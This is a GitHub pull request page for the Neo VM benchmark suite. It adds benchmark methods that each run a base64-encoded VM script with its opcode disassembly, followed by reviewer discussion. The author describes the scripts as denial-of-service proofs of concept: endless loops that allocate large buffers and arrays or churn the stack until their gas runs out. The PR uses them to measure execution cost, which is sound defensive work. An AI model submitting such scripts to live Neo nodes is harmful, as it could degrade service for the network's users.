Skip to content

[Benchmark] this pr adds more pocs to benchmark #3512

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 6 commits into from
Oct 9, 2024
Merged

[Benchmark] this pr adds more pocs to benchmark #3512

Changes from all commits
Commits
Show all changes
6 commits
Select commit Hold shift + click to select a range
3c83b69
this pr adds more pocs to benchmark
Oct 6, 2024
f09922b
format
shargon Oct 7, 2024
df45620
Merge branch 'master' into pocs
shargon Oct 7, 2024
6514458
Merge branch 'master' into pocs
Oct 8, 2024
cbc6f6e
Merge branch 'master' into pocs
Oct 8, 2024
d3114ab
Merge branch 'master' into pocs
Oct 9, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
292 changes: 288 additions & 4 deletions benchmarks/Neo.VM.Benchmarks/Benchmarks.POC.cs
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ public void NeoIssue2528()
// L24: LDLOC 0
// L25: JMPIF_L L19
// L26: DROP
Run(nameof(NeoIssue2528), "VwEAwkpKAfsHdwARwG8AnXcAbwAl9////xHAzwJwlAAAdwAQzm8AnXcAbwAl9////0U=");
Run("VwEAwkpKAfsHdwARwG8AnXcAbwAl9////xHAzwJwlAAAdwAQzm8AnXcAbwAl9////0U=");
}

[Benchmark]
Expand Down Expand Up @@ -81,7 +81,7 @@ public void NeoVMIssue418()
// L25: DROP
// L26: ROT
// L27: DROP
Run(nameof(NeoVMIssue418), "whBNEcARTRHAVgEB/gGdYBFNEU0SwFMSwFhKJPNFUUU=");
Run("whBNEcARTRHAVgEB/gGdYBFNEU0SwFMSwFhKJPNFUUU=");
}

[Benchmark]
Expand All @@ -98,15 +98,299 @@ public void NeoIssue2723()
// L08: DUP
// L09: STSFLD 0
// L10: JMPIF L03
Run(nameof(NeoIssue2723), "VgEC0PsBAGcAAgAAEACIRV8AnUpnACTz");
Run("VgEC0PsBAGcAAgAAEACIRV8AnUpnACTz");
}

private static void Run(string name, string poc)
// Below are PoCs from issue https://github.com/neo-project/neo/issues/2723 by @dusmart
[Benchmark]
public void PoC_NewBuffer()
{
// INITSLOT 0100
// PUSHINT32 23000000
// STLOC 00
// PUSHINT32 1048576
// NEWBUFFER
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f2ffffff
// CLEAR
// RET
Run("VwEAAsDzXgF3AAIAABAAiEVvAJ13AG8AJfL///9JQA==");
}

[Benchmark]
public void PoC_Cat()
{
// INITSLOT 0100
// PUSHINT32 1048575
// NEWBUFFER
// PUSH1
// NEWBUFFER
// PUSHINT32 133333337
// STLOC 00
// OVER
// OVER
// CAT
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f5ffffff
// CLEAR
// RET
Run("VwEAAv//DwCIEYgCWYHyB3cAS0uLRW8AnXcAbwAl9f///0lA");
}

[Benchmark]
public void PoC_Left()
{
// INITSLOT 0100
// PUSHINT32 1048576
// NEWBUFFER
// PUSHINT32 133333337
// STLOC 00
// DUP
// PUSHINT32 1048576
// LEFT
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f1ffffff
// CLEAR
// RET
Run("VwEAAgAAEACIAlmB8gd3AEoCAAAQAI1FbwCddwBvACXx////SUA=");
}

[Benchmark]
public void PoC_Right()
{
// INITSLOT 0100
// PUSHINT32 1048576
// NEWBUFFER
// PUSHINT32 133333337
// STLOC 00
// DUP
// PUSHINT32 1048576
// RIGHT
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f1ffffff
// CLEAR
// RET
Run("VwEAAgAAEACIAlmB8gd3AEoCAAAQAI5FbwCddwBvACXx////SUA=");
}

[Benchmark]
public void PoC_ReverseN()
{
// INITSLOT 0100
// PUSHINT16 2040
// STLOC 00
// PUSHDATA1 aaabbbbbbbbbcccccccdddddddeeeeeeefffffff
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L cfffffff
// PUSHINT32 23000000
// STLOC 00
// PUSHINT16 2040
// REVERSEN
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f5ffffff
// CLEAR
// RET
Run("VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfgHVW8AnXcAbwAl9f///0lA");
}

[Benchmark]
public void PoC_Substr()
{
// INITSLOT 0100
// PUSHINT32 1048576
// NEWBUFFER
// PUSHINT32 133333337
// STLOC 00
// DUP
// PUSH0
// PUSHINT32 1048576
// SUBSTR
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f0ffffff
// CLEAR
// RET
Run("VwEAAgAAEACIAlmB8gd3AEoQAgAAEACMRW8AnXcAbwAl8P///0lA");
}

[Benchmark]
public void PoC_NewArray()
{
// INITSLOT 0100
// PUSHINT32 1333333337
// STLOC 00
// PUSHINT16 2040
// NEWARRAY
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f4ffffff
// RET
Run("VwEAAlkNeU93AAH4B8NFbwCddwBvACX0////QA==");
}

[Benchmark]
public void PoC_NewStruct()
{
// INITSLOT 0100
// PUSHINT32 1333333337
// STLOC 00
// PUSHINT16 2040
// NEWSTRUCT
// DROP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f4ffffff
// RET
Run("VwEAAlkNeU93AAH4B8ZFbwCddwBvACX0////QA==");
}

[Benchmark]
public void PoC_Roll()
{
// INITSLOT 0100
// PUSHINT16 2040
// STLOC 00
// PUSHDATA1 aaabbbbbbbbbcccccccdddddddeeeeeeefffffff
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L cfffffff
// PUSHINT32 23000000
// STLOC 00
// PUSHINT16 2039
// ROLL
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f5ffffff
// CLEAR
// RET
Run("VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfcHUm8AnXcAbwAl9f///0lA");
}

[Benchmark]
public void PoC_XDrop()
{
// INITSLOT 0100
// PUSHINT16 2040
// STLOC 00
// PUSHDATA1 aaabbbbbbbbbcccccccdddddddeeeeeeefffffff
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L cfffffff
// PUSHINT32 23000000
// STLOC 00
// PUSHINT16 2039
// XDROP
// DUP
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f4ffffff
// CLEAR
// RET
Run("VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfcHSEpvAJ13AG8AJfT///9JQA==");
}

[Benchmark]
public void PoC_MemCpy()
{
// INITSLOT 0100
// PUSHINT32 1048576
// NEWBUFFER
// PUSHINT32 1048576
// NEWBUFFER
// PUSHINT32 133333337
// STLOC 00
// OVER
// PUSH0
// PUSH2
// PICK
// PUSH0
// PUSHINT32 1048576
// MEMCPY
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L eeffffff
// CLEAR
// RET
Run("VwEAAgAAEACIAgAAEACIAlmB8gd3AEsQEk0QAgAAEACJbwCddwBvACXu////SUA=");
}

[Benchmark]
public void PoC_Unpack()
{
// INITSLOT 0200
// PUSHINT16 1010
// NEWARRAY
// STLOC 01
// PUSHINT32 1333333337
// STLOC 00
// LDLOC 01
// UNPACK
// CLEAR
// LDLOC 00
// DEC
// STLOC 00
// LDLOC 00
// JMPIF_L f5ffffff
// RET
Copy link
Member

@AnnaShaleva AnnaShaleva Oct 8, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The same comment is relevant for the rest of benchmarks. We may safely skip all opcodes like RET or opcodes that clean VM after execution, it's not related to the benchmark itself.

Copy link
Contributor Author

@Jim8y Jim8y Oct 9, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The same comment is relevant for the rest of benchmarks. We may safely skip all opcodes like RET or opcodes that clean VM after execution, it's not related to the benchmark itself.

RET is not part of the script? I converted them from script in neo's website.....

Copy link
Contributor Author

@Jim8y Jim8y Oct 9, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But in these benchmarks, we are talking about execution time of seconds or milliseconds,,, should be fine with a RET here.

Run("VwIAAfIDw3cBAlkNeU93AG8BwUlvAJ13AG8AJfX///9A");
}

[Benchmark]
public void PoC_GetScriptContainer()
{
// SYSCALL System.Runtime.GetScriptContainer
// DROP
// JMP fa
Comment on lines +378 to +383
Copy link
Member

@AnnaShaleva AnnaShaleva Oct 8, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

BTW, why do we need DROP and JMP for this benchmark? We run this script once, we don't run it in cycle. I consider we need to keep GetScriptContainer call only.

Copy link
Contributor Author

@Jim8y Jim8y Oct 9, 2024 •
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@AnnaShaleva Oh, i see how you see these opcodes, these are benchmarks that were supposed to DOS the system, so you can see there is actually a dead loop here..... It will keep going until exaust your GAS fee. In my benchmark i set them to One GAS. What we really want to know is how long these POC can dos the system with one GAS.

These are not just benchmark for simple opcodes, but also triggers the internal reference counter management mechanisms.... so please consider them as POC benchmark, instead of opcode benchmark.

Run("QS1RCDBFIvo=");
}

private static void Run(string poc)
{
byte[] script = Convert.FromBase64String(poc);
using ExecutionEngine engine = new();
engine.LoadScript(script);
engine.Execute();

Debug.Assert(engine.State == VMState.HALT);
}
}
Expand Down
Loading